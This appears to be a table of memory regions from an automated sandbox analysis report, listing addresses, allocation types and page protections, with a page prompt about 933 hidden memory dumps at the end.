5A96000
|
heap
|
page read and write
|
||
3328000
|
heap
|
page read and write
|
||
5AFD000
|
heap
|
page read and write
|
||
6F80000
|
trusted library allocation
|
page read and write
|
||
32F0000
|
heap
|
page read and write
|
||
1B1E9ACC000
|
heap
|
page read and write
|
||
2E23000
|
heap
|
page read and write
|
||
1490000
|
heap
|
page read and write
|
||
8C0C000
|
stack
|
page read and write
|
||
1DA613E2000
|
heap
|
page read and write
|
||
3306000
|
heap
|
page read and write
|
||
11DB000
|
heap
|
page read and write
|
||
37EE000
|
stack
|
page read and write
|
||
3272000
|
heap
|
page read and write
|
||
35A0000
|
trusted library allocation
|
page read and write
|
||
1B1E9A7C000
|
heap
|
page read and write
|
||
32FE000
|
stack
|
page read and write
|
||
55D2000
|
heap
|
page read and write
|
||
1DA61564000
|
heap
|
page read and write
|
||
1DA5F4F0000
|
heap
|
page read and write
|
||
3600000
|
heap
|
page read and write
|
||
1B1D2859000
|
trusted library allocation
|
page read and write
|
||
3440000
|
heap
|
page read and write
|
||
1DA61564000
|
heap
|
page read and write
|
||
55D2000
|
heap
|
page read and write
|
||
31B0000
|
heap
|
page read and write
|
||
3345000
|
heap
|
page read and write
|
||
7A3F000
|
stack
|
page read and write
|
||
7F4B0000
|
trusted library allocation
|
page execute and read and write
|
||
1DA61578000
|
heap
|
page read and write
|
||
55CA000
|
heap
|
page read and write
|
||
149B000
|
heap
|
page read and write
|
||
1DA6152A000
|
heap
|
page read and write
|
||
7BC0000
|
heap
|
page read and write
|
||
7FF849130000
|
trusted library allocation
|
page read and write
|
||
31C0000
|
heap
|
page read and write
|
||
7E4E000
|
stack
|
page read and write
|
||
32FA000
|
heap
|
page read and write
|
||
332D000
|
heap
|
page read and write
|
||
11D0000
|
heap
|
page read and write
|
||
11C0000
|
heap
|
page read and write
|
||
3307000
|
heap
|
page read and write
|
||
5ADD000
|
heap
|
page read and write
|
||
2420000
|
heap
|
page read and write
|
||
6BCA000
|
heap
|
page read and write
|
||
32CD000
|
heap
|
page read and write
|
||
7DE0000
|
trusted library allocation
|
page execute and read and write
|
||
55B1000
|
heap
|
page read and write
|
||
33DC000
|
heap
|
page read and write
|
||
8CE0000
|
heap
|
page read and write
|
||
3315000
|
heap
|
page read and write
|
||
6F70000
|
trusted library allocation
|
page read and write
|
||
70E317C000
|
stack
|
page read and write
|
||
32DC000
|
heap
|
page read and write
|
||
1DA61291000
|
heap
|
page read and write
|
||
1DA61514000
|
heap
|
page read and write
|
||
8E4FEFF000
|
stack
|
page read and write
|
||
8E504FB000
|
stack
|
page read and write
|
||
4F1E000
|
stack
|
page read and write
|
||
1DA5F3C3000
|
heap
|
page read and write
|
||
7BE0000
|
trusted library allocation
|
page execute and read and write
|
||
3F40000
|
trusted library allocation
|
page read and write
|
||
7C01000
|
heap
|
page read and write
|
||
48DC000
|
trusted library allocation
|
page read and write
|
||
7FF849050000
|
trusted library allocation
|
page read and write
|
||
1DA61326000
|
heap
|
page read and write
|
||
8FA0000
|
trusted library allocation
|
page read and write
|
||
3F20000
|
trusted library allocation
|
page read and write
|
||
79AE000
|
stack
|
page read and write
|
||
3E1E000
|
stack
|
page read and write
|
||
55D2000
|
heap
|
page read and write
|
||
3345000
|
heap
|
page read and write
|
||
1DA61315000
|
heap
|
page read and write
|
||
1DA611F5000
|
heap
|
page read and write
|
||
32F6000
|
heap
|
page read and write
|
||
79D0000
|
heap
|
page read and write
|
||
11D0000
|
heap
|
page read and write
|
||
1B1D1847000
|
heap
|
page read and write
|
||
2FAE000
|
stack
|
page read and write
|
||
7DD0000
|
trusted library allocation
|
page read and write
|
||
346B000
|
heap
|
page read and write
|
||
55D2000
|
heap
|
page read and write
|
||
1DA61313000
|
heap
|
page read and write
|
||
EFD000
|
stack
|
page read and write
|
||
1DA612B5000
|
heap
|
page read and write
|
||
7E50000
|
trusted library allocation
|
page read and write
|
||
359E000
|
unkown
|
page read and write
|
||
6BA8000
|
heap
|
page read and write
|
||
30B0000
|
heap
|
page read and write
|
||
70E34F7000
|
stack
|
page read and write
|
||
45D000
|
system
|
page execute and read and write
|
||
2E4F000
|
heap
|
page read and write
|
||
62A9000
|
trusted library allocation
|
page read and write
|
||
598E000
|
stack
|
page read and write
|
||
7E90000
|
trusted library allocation
|
page read and write
|
||
7FF848DED000
|
trusted library allocation
|
page execute and read and write
|
||
1DA611F5000
|
heap
|
page read and write
|
||
37B0000
|
heap
|
page read and write
|
||
88A0000
|
trusted library allocation
|
page read and write
|
||
3345000
|
heap
|
page read and write
|
||
1B1D517E000
|
trusted library allocation
|
page read and write
|
||
6F00000
|
trusted library allocation
|
page read and write
|
||
7EB0000
|
trusted library allocation
|
page read and write
|
||
2430000
|
heap
|
page read and write
|
||
35AD000
|
trusted library allocation
|
page execute and read and write
|
||
5A99000
|
heap
|
page read and write
|
||
1DA613E7000
|
heap
|
page read and write
|
||
70E35FE000
|
stack
|
page read and write
|
||
3309000
|
heap
|
page read and write
|
||
70E327E000
|
stack
|
page read and write
|
||
1B1D297E000
|
trusted library allocation
|
page read and write
|
||
12F9000
|
stack
|
page read and write
|
||
1B1CF900000
|
heap
|
page read and write
|
||
1DA5F300000
|
heap
|
page read and write
|
||
7980000
|
trusted library allocation
|
page read and write
|
||
3258000
|
heap
|
page read and write
|
||
7FF8491A0000
|
trusted library allocation
|
page read and write
|
||
7DCD000
|
stack
|
page read and write
|
||
E70000
|
heap
|
page read and write
|
||
1DA611DA000
|
heap
|
page read and write
|
||
8E4FCFE000
|
stack
|
page read and write
|
||
1005000
|
heap
|
page read and write
|
||
1B1D1760000
|
heap
|
page read and write
|
||
1DA6119B000
|
heap
|
page read and write
|
||
7FF849170000
|
trusted library allocation
|
page read and write
|
||
1DA613D5000
|
heap
|
page read and write
|
||
3345000
|
heap
|
page read and write
|
||
66DB000
|
stack
|
page read and write
|
||
58D3000
|
trusted library allocation
|
page read and write
|
||
13AE000
|
stack
|
page read and write
|
||
1DA613DB000
|
heap
|
page read and write
|
||
8990000
|
trusted library allocation
|
page read and write
|
||
330A000
|
heap
|
page read and write
|
||
6F20000
|
trusted library allocation
|
page read and write
|
||
7C7E000
|
heap
|
page read and write
|
||
7E20000
|
trusted library allocation
|
page read and write
|
||
1B1E9AB2000
|
heap
|
page read and write
|
||
8B25000
|
trusted library allocation
|
page read and write
|
||
5AA5000
|
heap
|
page read and write
|
||
1B1CF7F8000
|
heap
|
page read and write
|
||
330F000
|
heap
|
page read and write
|
||
7FF8490D0000
|
trusted library allocation
|
page read and write
|
||
1DA6151D000
|
heap
|
page read and write
|
||
546F000
|
stack
|
page read and write
|
||
8E4FBFE000
|
stack
|
page read and write
|
||
810B000
|
stack
|
page read and write
|
||
55B7000
|
heap
|
page read and write
|
||
1DA5F356000
|
heap
|
page read and write
|
||
1DA6153D000
|
heap
|
page read and write
|
||
459000
|
system
|
page execute and read and write
|
||
8F80000
|
trusted library allocation
|
page read and write
|
||
3310000
|
heap
|
page read and write
|
||
7BCE000
|
stack
|
page read and write
|
||
254B000
|
heap
|
page read and write
|
||
4370000
|
heap
|
page read and write
|
||
3306000
|
heap
|
page read and write
|
||
510E000
|
stack
|
page read and write
|
||
36EA000
|
heap
|
page read and write
|
||
1DA611A7000
|
heap
|
page read and write
|
||
7967000
|
stack
|
page read and write
|
||
10F2000
|
stack
|
page read and write
|
||
1DA611B3000
|
heap
|
page read and write
|
||
7ADD000
|
trusted library allocation
|
page read and write
|
||
9030000
|
trusted library allocation
|
page execute and read and write
|
||
8AB0000
|
trusted library allocation
|
page read and write
|
||
1DA61306000
|
heap
|
page read and write
|
||
1DA611BA000
|
heap
|
page read and write
|
||
1B1E1C3C000
|
trusted library allocation
|
page read and write
|
||
518E000
|
stack
|
page read and write
|
||
51C0000
|
heap
|
page execute and read and write
|
||
5ABD000
|
heap
|
page read and write
|
||
5A99000
|
heap
|
page read and write
|
||
5A96000
|
heap
|
page read and write
|
||
5BDB000
|
heap
|
page read and write
|
||
1DA612B0000
|
heap
|
page read and write
|
||
456000
|
system
|
page execute and read and write
|
||
448C000
|
trusted library allocation
|
page read and write
|
||
8980000
|
trusted library allocation
|
page read and write
|
||
1B1CFA40000
|
trusted library allocation
|
page read and write
|
||
689E000
|
stack
|
page read and write
|
||
3306000
|
heap
|
page read and write
|
||
1DA6151A000
|
heap
|
page read and write
|
||
7E90000
|
heap
|
page read and write
|
||
1DA612AD000
|
heap
|
page read and write
|
||
5AEA000
|
heap
|
page read and write
|
||
7EFC000
|
stack
|
page read and write
|
||
1B1D1750000
|
heap
|
page execute and read and write
|
||
6BD0000
|
heap
|
page read and write
|
||
70E2D8E000
|
stack
|
page read and write
|
||
1DA61577000
|
heap
|
page read and write
|
||
70E367E000
|
stack
|
page read and write
|
||
1DA61591000
|
heap
|
page read and write
|
||
32EA000
|
heap
|
page read and write
|
||
1DA613E0000
|
heap
|
page read and write
|
||
1B1E9AA0000
|
heap
|
page read and write
|
||
1DA61303000
|
heap
|
page read and write
|
||
1B1E9AE0000
|
heap
|
page read and write
|
||
1DA61515000
|
heap
|
page read and write
|
||
3570000
|
trusted library section
|
page read and write
|
||
1DA6153D000
|
heap
|
page read and write
|
||
389F000
|
stack
|
page read and write
|
||
7FF849110000
|
trusted library allocation
|
page read and write
|
||
1DA611A2000
|
heap
|
page read and write
|
||
9730000
|
direct allocation
|
page execute and read and write
|
||
32DA000
|
heap
|
page read and write
|
||
7FF848FF0000
|
trusted library allocation
|
page read and write
|
||
796E000
|
stack
|
page read and write
|
||
1DA61588000
|
heap
|
page read and write
|
||
1B1E18F3000
|
trusted library allocation
|
page read and write
|
||
1DA6152F000
|
heap
|
page read and write
|
||
7D0E000
|
stack
|
page read and write
|
||
6BB8000
|
heap
|
page read and write
|
||
3321000
|
heap
|
page read and write
|
||
7FF849150000
|
trusted library allocation
|
page read and write
|
||
11FE000
|
heap
|
page read and write
|
||
1B1CFA07000
|
trusted library allocation
|
page read and write
|
||
55B0000
|
heap
|
page read and write
|
||
7E40000
|
trusted library allocation
|
page read and write
|
||
8887000
|
stack
|
page read and write
|
||
79B0000
|
heap
|
page read and write
|
||
5BDB000
|
heap
|
page read and write
|
||
1DA611D2000
|
heap
|
page read and write
|
||
5AAD000
|
heap
|
page read and write
|
||
2437000
|
heap
|
page read and write
|
||
7C6D000
|
heap
|
page read and write
|
||
FD0000
|
heap
|
page read and write
|
||
7FF848FB0000
|
trusted library allocation
|
page execute and read and write
|
||
259F000
|
heap
|
page read and write
|
||
32EA000
|
heap
|
page read and write
|
||
5A96000
|
heap
|
page read and write
|
||
3272000
|
heap
|
page read and write
|
||
3F52000
|
trusted library allocation
|
page read and write
|
||
5B2A000
|
heap
|
page read and write
|
||
1DA61590000
|
heap
|
page read and write
|
||
5040000
|
heap
|
page execute and read and write
|
||
6EF0000
|
trusted library allocation
|
page read and write
|
||
1DA614FC000
|
heap
|
page read and write
|
||
1DA613F8000
|
heap
|
page read and write
|
||
1DA61567000
|
heap
|
page read and write
|
||
1DA6151C000
|
heap
|
page read and write
|
||
7ED6000
|
heap
|
page read and write
|
||
1DA611D7000
|
heap
|
page read and write
|
||
62EA000
|
trusted library allocation
|
page read and write
|
||
1DA612F5000
|
heap
|
page read and write
|
||
70E3479000
|
stack
|
page read and write
|
||
3345000
|
heap
|
page read and write
|
||
7FF848DE2000
|
trusted library allocation
|
page read and write
|
||
330D000
|
heap
|
page read and write
|
||
FAF000
|
heap
|
page read and write
|
||
55BA000
|
heap
|
page read and write
|
||
55B8000
|
heap
|
page read and write
|
||
CFB000
|
stack
|
page read and write
|
||
1DA611F6000
|
heap
|
page read and write
|
||
1DA612C5000
|
heap
|
page read and write
|
||
D4C000
|
stack
|
page read and write
|
||
4488000
|
trusted library allocation
|
page read and write
|
||
7BC2000
|
heap
|
page read and write
|
||
5B29000
|
heap
|
page read and write
|
||
1B1CF748000
|
heap
|
page read and write
|
||
8A70000
|
trusted library allocation
|
page read and write
|
||
447E000
|
trusted library allocation
|
page read and write
|
||
1DA613F8000
|
heap
|
page read and write
|
||
5ACB000
|
heap
|
page read and write
|
||
32A7000
|
heap
|
page read and write
|
||
70E357E000
|
stack
|
page read and write
|
||
1DA6152E000
|
heap
|
page read and write
|
||
1DA611E3000
|
heap
|
page read and write
|
||
1B1D3D7E000
|
trusted library allocation
|
page read and write
|
||
7FF848FA0000
|
trusted library allocation
|
page execute and read and write
|
||
58E9000
|
trusted library allocation
|
page read and write
|
||
7BC6000
|
heap
|
page read and write
|
||
658E000
|
stack
|
page read and write
|
||
3345000
|
heap
|
page read and write
|
||
3335000
|
heap
|
page read and write
|
||
65CE000
|
stack
|
page read and write
|
||
7FF8490A0000
|
trusted library allocation
|
page read and write
|
||
369F000
|
heap
|
page read and write
|
||
1DA61326000
|
heap
|
page read and write
|
||
5AC8000
|
heap
|
page read and write
|
||
4564000
|
trusted library allocation
|
page read and write
|
||
35D5000
|
trusted library allocation
|
page execute and read and write
|
||
1DA611BF000
|
heap
|
page read and write
|
||
6DEE000
|
stack
|
page read and write
|
||
F50000
|
heap
|
page read and write
|
||
1DA61522000
|
heap
|
page read and write
|
||
671E000
|
stack
|
page read and write
|
||
1DA612FE000
|
heap
|
page read and write
|
||
6F10000
|
trusted library allocation
|
page read and write
|
||
51FC000
|
trusted library allocation
|
page read and write
|
||
362F000
|
heap
|
page read and write
|
||
3271000
|
heap
|
page read and write
|
||
3FC0000
|
heap
|
page readonly
|
||
55B1000
|
heap
|
page read and write
|
||
3520000
|
heap
|
page read and write
|
||
3FBE000
|
stack
|
page read and write
|
||
1B1E9A50000
|
heap
|
page read and write
|
||
1DA613DD000
|
heap
|
page read and write
|
There are 933 hidden memdumps, click here to show them.